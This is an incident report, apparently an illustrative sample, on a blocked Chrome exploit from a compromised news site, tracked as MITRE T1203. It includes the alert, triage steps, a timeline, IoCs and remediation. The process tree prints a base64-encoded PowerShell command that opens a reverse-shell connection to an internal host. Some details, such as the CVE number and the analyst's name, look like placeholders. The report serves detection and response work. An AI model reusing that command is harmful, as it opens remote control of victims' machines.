T1203 – Exploitation for Client Execution (SentinelOne Detection)

SentinelOne Alert Details

Alert ID: S1-EXPLOIT-CLIENT-1203-7842
Alert Time: 2024-02-13 15:30:45 EST
Severity: CRITICAL (92/100)
Source: SentinelOne Singularity
Rule: “Browser Exploit Attempt – CVE-2024-1234 Detected”
MITRE ATT&CK: T1203 – Exploitation for Client Execution

Alert Details:

Detection: Browser exploit attempt via compromised website

Host: SLS-WS-112 (Sales Department)

User: jharris (Jennifer Harris, Sales Rep)

Time: 15:28 EST

Process Tree:

– chrome.exe (PID: 7842)

  – chrome.exe –type=renderer (PID: 7845)

    – Suspicious child process: cmd.exe (PID: 7890)

      – Command: cmd.exe /c powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADMANAAuADUANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AA==

Exploit Details:

– URL: hxxp://news-breaking[.]net/article?7842 (Compromised news site)

– Exploit: CVE-2024-1234 (Chrome V8 remote code execution)

– Payload: Reverse shell to 192.168.34.56:443

– Sandbox Detection: Heap spray, ROP chain, shellcode

SentinelOne Action:

– Process blocked (kill)

– Host quarantined

– Exploit prevented

Additional Context:

– User visited news site during lunch break

– Site compromised with exploit kit

– No prior detections from this site

SOC Investigation Process

StepActionTools UsedFindings
1. Alert ValidationVerify SentinelOne alertSentinelOne ConsoleConfirmed browser exploit attempt blocked
2. User ContactInterview userTeams, PhoneUser visited news site; no issues noticed
3. URL AnalysisInvestigate compromised siteURLScan.io, VirusTotalSite hosted exploit kit; reported to hosting provider
4. Endpoint ScanFull scan of hostSentinelOneNo persistence; exploit blocked before execution
5. BlockingAdd domains to blocklistsZscaler, Palo Altonews-breaking.net added to blocklists
6. Threat HuntingCheck other users for same siteZscaler Logs, Splunk3 other users visited same site (all blocked)

Jira Incident Report

Ticket: SOC-2024-069
Summary: T1203 – Browser Exploit Attempt via Compromised News Site
Status: RESOLVED
Resolution: MALICIOUS – Exploit Blocked
Priority: P2 – MEDIUM
Labels: T1203, client-exploitation, browser-exploit, sentinelone, cve-2024-1234
Components: Endpoint-Security, Web-Security


INCIDENT ANALYSIS REPORT

1. Initial Context:

  • Detection Source: SentinelOne Singularity.
  • Alert: “Browser Exploit Attempt – CVE-2024-1234 Detected”.
  • Host: SLS-WS-112 (Sales Department, user jharris).
  • Time: 2024-02-13 15:30 EST.
  • Technique: MITRE ATT&CK T1203 – Exploitation for Client Execution.

2. Technical Analysis:

  • Exploit Details:
  • CVE: 2024-1234 (Chrome V8 remote code execution)
  • Vector: Compromised news site with injected exploit kit
  • URL: hxxp://news-breaking[.]net/article?7842
  • Exploit Kit: Fallout Exploit Kit (variant)
  • Payload:
  • Reverse shell to 192.168.34.56:443 (internal IP – likely another compromised host)
  • PowerShell encoded command similar to T1059 pattern
  • Attempted to establish C2
  • SentinelOne Protection:
  • Detected exploit heap spray patterns
  • Blocked process creation (cmd.exe)
  • Killed Chrome renderer process
  • Quarantined host automatically
  • User Activity:
  • User visited news site during lunch (15:28)
  • No interaction with malicious content
  • Site loaded exploit in background

3. Investigation Findings:

  • Timeline:

15:28 – User visits news-breaking.net

15:28:30 – Exploit kit loads

15:28:35 – Heap spray detected

15:28:40 – SentinelOne blocks child process

15:28:45 – Host quarantined

15:30 – Alert triggers

15:32 – SOC investigation begins

  • Scope:
  • 3 other users visited same site (all blocked by Zscaler)
  • No successful compromises
  • Internal IP 192.168.34.56 identified as ENG-WS-045 (compromised earlier, already isolated)
  • Indicators of Compromise (IoCs):

Network:

– Domain: news-breaking[.]net

– IP: 185.143.221[.]67 (hosting exploit)

– Internal C2: 192.168.34.56:443

Exploit:

– CVE-2024-1234

– Heap spray patterns

4. Containment Actions:

  • Immediate Actions:
  • news-breaking.net added to Zscaler, Palo Alto, Umbrella blocklists.
  • User’s host released from quarantine after full scan (clean).
  • Internal C2 host already isolated (from previous incident).
  • Site Takedown:
  • Reported to domain registrar and hosting provider.
  • Site taken down within 24 hours.

5. Root Cause Analysis:

  • Primary Cause: Compromised news site serving exploit kit.
  • Contributing Factors:
  1. Users visit news sites during breaks.
  2. Chrome browser up-to-date (CVE still zero-day at time).
  3. SentinelOne’s behavioral detection caught exploit.

6. Business Impact: None – exploit blocked.

7. Remediation & Prevention:

Completed Actions:

  • checkedMalicious domain blocked.
  • checkedUsers notified.
  • checkedHost confirmed clean.

Prevention Enhancements:

  • checkedEnhanced Zscaler policy to block newly registered domains.
  • checkedPushed Chrome update to all endpoints.
  • checkedEnabled additional exploit detection signatures.

8. Conclusion:

A user visited a compromised news site hosting an exploit kit targeting Chrome. SentinelOne detected and blocked the exploit attempt before any code execution. No compromise occurred.

Closure Rationale: Exploit blocked; domain blacklisted; users safe.

Analyst: [Walter White], SOC Analyst
Date: 2024-02-13 16:30 EST

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